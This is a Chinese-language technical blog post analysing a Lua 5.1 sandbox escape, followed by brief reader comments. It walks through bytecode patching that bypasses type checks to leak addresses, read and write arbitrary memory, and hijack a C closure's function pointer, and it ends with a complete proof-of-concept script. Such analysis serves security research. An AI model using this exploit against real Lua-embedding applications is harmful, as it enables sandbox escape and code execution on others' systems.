LUA脚本虚拟机逃逸技术分析

Author:[email protected]

参考https://gist.github.com/corsix/6575486

0x00 LUA数据泄露


LUA提供了string.dump将一个lua函数dump为LUA字节码,同时loadstring函数加载字节码为LUA函数,通过操作LUA原始字节码可以使得LUA解释器进入特殊状态,甚至导致BUG发生。

[cce]#!cpp
asnum = loadstring(string.dump(function(x)
for i = x, x, 0 do
return i
end
end):gsub(“\96%z%z\128”, “\22\0\0\128”))
[/cce]

LUA字节码固定长度32bits,4字节,定义如下:

主要由op操作码、R(A)、R(B)、R(C)、R(Bx)、R(sBx)组成。A、B、C对应于LUA寄存器索引。

asnum函数可以将任意LUA对象转换为数字。(注:LUA5.1 64bitLinux环境)gsub函数将字节码\96%z%z\128替换为\22\0\0\128,如下:

[cce]#!bash
0071 60000080 [4] forprep 1 1 ; to [6]
0075 1E010001 [5] return 4 2
0079 5F40FF7F [6] forloop 1 -2 ; to [5] if loop
[/cce]

执行gsub函数后,forprep指令被替换为JMP to [6],LUA解释器forprep指令对应代码如下:

[cce]#!cpp
case OP_FORPREP: {
const TValue *init = ra;
const TValue *plimit = ra+1;
const TValue *pstep = ra+2;
L->savedpc = pc; /* next steps may throw errors */
if (!tonumber(init, ra))
luaG_runerror(L, LUA_QL(“for”) ” initial value must be a number”);
else if (!tonumber(plimit, ra+1))
luaG_runerror(L, LUA_QL(“for”) ” limit must be a number”);
else if (!tonumber(pstep, ra+2))
luaG_runerror(L, LUA_QL(“for”) ” step must be a number”);
setnvalue(ra, luai_numsub(nvalue(ra), nvalue(pstep)));
dojump(L, pc, GETARG_sBx(i));
continue;
[/cce]

正常情况下lua在forprep指令会检查参数是否为数字类型,并执行初始化,但是由于字节码被替换为JMP,直接跳过了LUA类型检查,进入forloop指令。

[cce]#!bash
case OP_FORLOOP: {
lua_Number step = nvalue(ra+2);
lua_Number idx = luai_numadd(nvalue(ra), step); /* increment index */
lua_Number limit = nvalue(ra+1);
if (luai_numlt(0, step) ? luai_numle(idx, limit)
: luai_numle(limit, idx)) {
dojump(L, pc, GETARG_sBx(i)); /* jump back */
setnvalue(ra, idx); /* update internal index… */
setnvalue(ra+3, idx); /* …and external index */
}
continue;
}
[/cce]

forloop指令直接将循环参数转换为lua_Number(double)类型,(因为正常情况下forprep已经检查过类型了),然后执行加法(+ 0),执行dojump return x;返回lua_Number。

LUA使用TValue表示通用数据对象,格式如下:

Value(64bit) tt(32bit) padd(32bit)
n LUA_TNUMBER
GCObject *gc; -> TString* LUA_TSTRING
GCObject *gc; -> Closure* LUA_TFUNCTION

0x01 LUA任意内存读/写


[cce]#!cpp
read_mem = loadstring(string.dump(function(mem_addr)
local magic=nil
local function middle()
local f2ii, asnum = f2ii, asnum
local lud, upval
local function inner()
magic = “01234567”
local lo,hi = f2ii(mem_addr)
upval = “commonhead16bits”..ub4(lo)..ub4(hi)
lo,hi = f2ii(asnum(upval));lo = lo+24
magic = magic..ub4(lo)..ub4(hi)..ub4(lo)..ub4(hi)
end
inner()
return asnum(magic)
end
magic = middle()
return magic
end):gsub(“(\164%z%z%z)….”, “%1\0\0\128\1”, 1)) –> move 0,3
[/cce]

先看最外部函数,对应的LUA字节码如下:

[cce]#!bash
0785 A4000000 [1] closure 2 0 ; 2 upvalues
0789 00008000 [2] move 0 1
078D 00000000 [3] move 0 0
0791 C0000001 [4] move 3 2
0795 DC808000 [5] call 3 1 2
0799 40008001 [6] move 1 3
079D 5E000001 [7] return 1 2
[/cce]

LUA使用CLOSURE A Bx指令创建函数的一个实例(或闭包)。Bx是要实例化的函数在函数原型表中的函数编号。

closure 2 0 :创建0号函数对象,结果保存到2号寄存器,具体代码如下:

[cce]#!cpp
case OP_CLOSURE: {
Proto *p;
Closure *ncl;
int nup, j;
p = cl->p->p[GETARG_Bx(i)];
nup = p->nups;
ncl = luaF_newLclosure(L, nup, cl->env);
ncl->l.p = p;
for (j=0; jl.upvals[j] = cl->upvals[GETARG_B(*pc)];
else {
lua_assert(GET_OPCODE(*pc) == OP_MOVE);
ncl->l.upvals[j] = luaF_findupval(L, base + GETARG_B(*pc));
}
}
setclvalue(L, ra, ncl);
Protect(luaC_checkGC(L));
continue;
}
[/cce]

LUA内部使用Proto 数据结构表示函数原型,记录函数的一些基本信息。LUA使用UpVal数据结构记录当前函数外部变量引用情况。如:

[cce]#!cpp
function parent()
local upval=nil
function child() upval=”child” end
child()
print(upval) –output string child
end
[/cce]

父函数定义一个局部变量upval,子函数直接使用了该变量,此时父函数在创建闭包时会初始化upval列表,LUA编译器生成CLOSURE A Bx指令后,会自动插入MOVE 0, B伪指令,R(B)指示带入子函数的Upval寄存器编号。

[cce]#!bash
0785 A4000000 [1] closure 2 0 ; 2 upvalues
0789 00008000 [2] move 0 1
078D 00000000 [3] move 0 0
0791 C0000001 [4] move 3 2 –R(3) = R(2)
0795 DC808000 [5] call 3 1 2 –Call R(3)
[/cce]

执行gsub(“(\164%z%z%z)….”, “%1\0\0\128\1”, 1))【%1指示第一匹配项】,将move 0 1替换为move 0 3指令,而寄存器3对应的是一个CLOSURE对象。因此middle及inner函数里面的magic实际执行middle函数对象。

LUA使用CALL A B C字节指令处理函数调用,寄存器 R(A)持有要被调用的函数对象的引用。函数参数置于R(A)之后的寄存器中。参数个数(B-1),返回值个数(C-1)。如call 3 3 1 表示R(3)->CLOSURE 参数2个分别是R(4)、R(5),无返回值。

[cce]#!cpp
case OP_CALL: {
int b = GETARG_B(i);
int nresults = GETARG_C(i) – 1;
if (b != 0) L->top = ra+b; /* else previous instruction set top */
L->savedpc = pc;
switch (luaD_precall(L, ra, nresults)) {
case PCRLUA: {
nexeccalls++;
goto reentry; /* restart luaV_execute over new Lua function */
}
[/cce]

LUA使用CallInfo数据结构执行函数调用跟踪,在luaD_precall函数使用inc_ci函数创建新的函数调用信息。

[cce]#!cpp
#define inc_ci(L) \
((L->ci == L->end_ci) ? growCI(L) : \
(condhardstacktests(luaD_reallocCI(L, L->size_ci)), ++L->ci))
[/cce]

lua_State->ci的call info for current function,每调用一个函数增加一个ci,RETRUN减少ci,CallInfo数据结构如下:

[cce]#!cpp
typedef struct CallInfo {
StkId base; /* base for this function */
StkId func; /* function index in the stack */
StkId top; /* top for this function */
const Instruction *savedpc;
int nresults; /* expected number of results from this function */
int tailcalls; /* number of tail calls lost under this entry */
} CallInfo;
[/cce]

其中CallInfo 的func在luaD_precall函数中初始化指向R(A)对象

我们跟踪下inner函数大致流程:magic Upval通过修改字节码方式指向了middle函数,inner函数在返回前将magic赋值为一个字符串,然后执行OP_RETURN指令返回middle函数。OP_RETURN最终调用luaD_poscall执行L->ci–,切换回上层函数调用CallInfo信息,然后goto reentry,如下:

[cce]#!cpp
LClosure *cl;
reentry: /* entry point */
lua_assert(isLua(L->ci));
pc = L->savedpc;
cl = &clvalue(L->ci->func)->l;
base = L->base;
k = cl->p->k;
[/cce]

其中的&clvalue(L->ci->func)直接将ci->func转换为Closure*指针,但inner函数已经将ci->func对象修改为一个字符串对象,此后k = cl->p->k行获取函数原型的常量表。

先看下字符串对象和Closure对象的内存布局。

p1

cl->p对应TString第9个字符串开始的内容,magic在inner函数被初始化为”01234567″,将前8字节填充,并拼接两个内存指针,【..为LUA字符串连接符】如下:

magic = magic..ub4(lo)..ub4(hi)..ub4(lo)..ub4(hi)

ub4函数将一个32位整数转换为字符串,lo、hi分别对应64bit内存地址的低、高32位。该内存地址指向

lo,hi = f2ii(asnum(upval));lo = lo+24

注意upval是字符串类型(头长度24),因此lo+24刚好指向字符串内容,因此cl->p实际指向”commonhead16bits”..ub4(lo)..ub4(hi)

cl->p->k,对应的数据结构定义如下:

[cce]#!cpp
typedef struct Proto {
CommonHeader;
TValue *k; /* constants u
[/cce]

其中CommonHeader内存对齐后占用16字节,因此k指向我们传递的内存地址。

同理cl->upvals[0]也指向我们构造的内存地址。

[cce]#!cpp
typedef struct UpVal {
CommonHeader;
TValue *v; /* points to stack or to its own value */
[/cce]

此后执行middle函数执行return asnum(magic)语句,对应字节码如下:

[cce]#!bash
MOVE 5 1
GETUPVAL 6 0 ; magic
TAILCALL 5 2 0
RETURN 5 0
[/cce]

R(5) = R(1) = asnum函数对象,执行GETUPVAL 6 0 ,并将R(6)作为函数参数1调用asnum函数,最后返回asnum读取结果。

[cce]#!cpp
case OP_GETUPVAL: {
int b = GETARG_B(i);
setobj2s(L, ra, cl->upvals[b]->v);
continue;
[/cce]

GETUPVAL 6 0 其中b=0因此cl->upvals[b]->v正是我们构造的内存地址,setobj2s函数从对应的内存地址复制数据到R(6),此后通过asnum读取内容,实现任意内存地址读操作。同理如果在middle函数中对magic进行赋值,即可实现对任意地址写内存(实际会写8字节数值以及4字节的tt类型)

0x02 代码执行


LUA使用OP_CALL进行函数调用,luaD_precall中处理了C函数CALL,如下

[cce]#!cpp
/* if is a C function, call it */
CallInfo *ci;
int n;
ci = inc_ci(L); /* now `enter’ new function */
ci->func = restorestack(L, funcr);
L->base = ci->base = ci->func + 1;
ci->top = L->top + LUA_MINSTACK;
ci->nresults = nresults;
lua_unlock(L);
n = (*curr_func(L)->c.f)(L); /* do the actual call */
[/cce]

LUA使用lua_pushcclosure函数创建C函数闭包对象,LUA基础库luaB_cowrap会调用lua_pushcclosure,创建一个CClosure *对象,具体LUA脚本如下:

[cce]#!cpp
co = coroutine.wrap(function() end)
[/cce]

CClosure数据结构内存布局如下:

p2

其object偏移位置32为函数指针f,通过前面的内存写技术可以将f替换为指定的函数地址即可实现任意代码执行。

0x03 附:POC代码


[cce]#!cpp
asnum = loadstring(string.dump(function(x)
for i = x, x, 0 do
return i
end
end):gsub(“\96%z%z\128”, “\22\0\0\128”))

ub4 = function(x) — Convert little endian uint32_t to char[4]
local b0 = x % 256; x = (x – b0) / 256
local b1 = x % 256; x = (x – b1) / 256
local b2 = x % 256; x = (x – b2) / 256
local b3 = x % 256
return string.char(b0, b1, b2, b3)
end

f2ii = function(x) — Convert double to uint32_t[2]
if x == 0 then return 0, 0 end
if x < 0 then x = -x end local e_lo, e_hi, e, m = -1075, 1023 while true do -- this loop is math.frexp e = (e_lo + e_hi) e = (e - (e % 2)) / 2 m = x / 2^e if m < 0.5 then e_hi = e elseif 1 <= m then e_lo = e else break end end if e+1023 <= 1 then m = m * 2^(e+1074) e = 0 else m = (m - 0.5) * 2^53 e = e + 1022 end local lo = m % 2^32 m = (m - lo) / 2^32 local hi = m + e * 2^20 return lo, hi end ii2f = function(lo, hi) -- Convert uint32_t[2] to double local m = hi % 2^20 local e = (hi - m) / 2^20 m = m * 2^32 + lo if e ~= 0 then m = m + 2^52 else e = 1 end return m * 2^(e-1075) end read_mem = loadstring(string.dump(function(mem_addr) -- AAAABBBB 1094795585 1111638594 local magic=nil local function middle() local f2ii, asnum = f2ii, asnum local lud, upval local function inner() magic = "01234567" local lo,hi = f2ii(mem_addr) upval = "commonhead16bits"..ub4(lo)..ub4(hi) lo,hi = f2ii(asnum(upval));lo = lo+24 magic = magic..ub4(lo)..ub4(hi)..ub4(lo)..ub4(hi) end inner() return asnum(magic) end magic = middle() return magic end):gsub("(\164%z%z%z)....", "%1\0\0\128\1", 1)) --> move 0,3

x=”AAAABBBB”
l,h=f2ii(asnum(x))
x=ii2f(l+24,h)
print(f2ii(read_mem(x)))
[/cce]

Comment

评论:赞!

评论:@云水寒大哥你小心点

评论:为什么我打开链接都是这样 http://t.cn/Rbsv0uj

评论:与看你的技术文章相比,我还是想听你的声音:)

评论:终于发表了可惜不能完美执行,64bit linux一次只能执行最多10字符长度的命令

发表评论

电子邮件地址不会被公开。 必填项已用*标注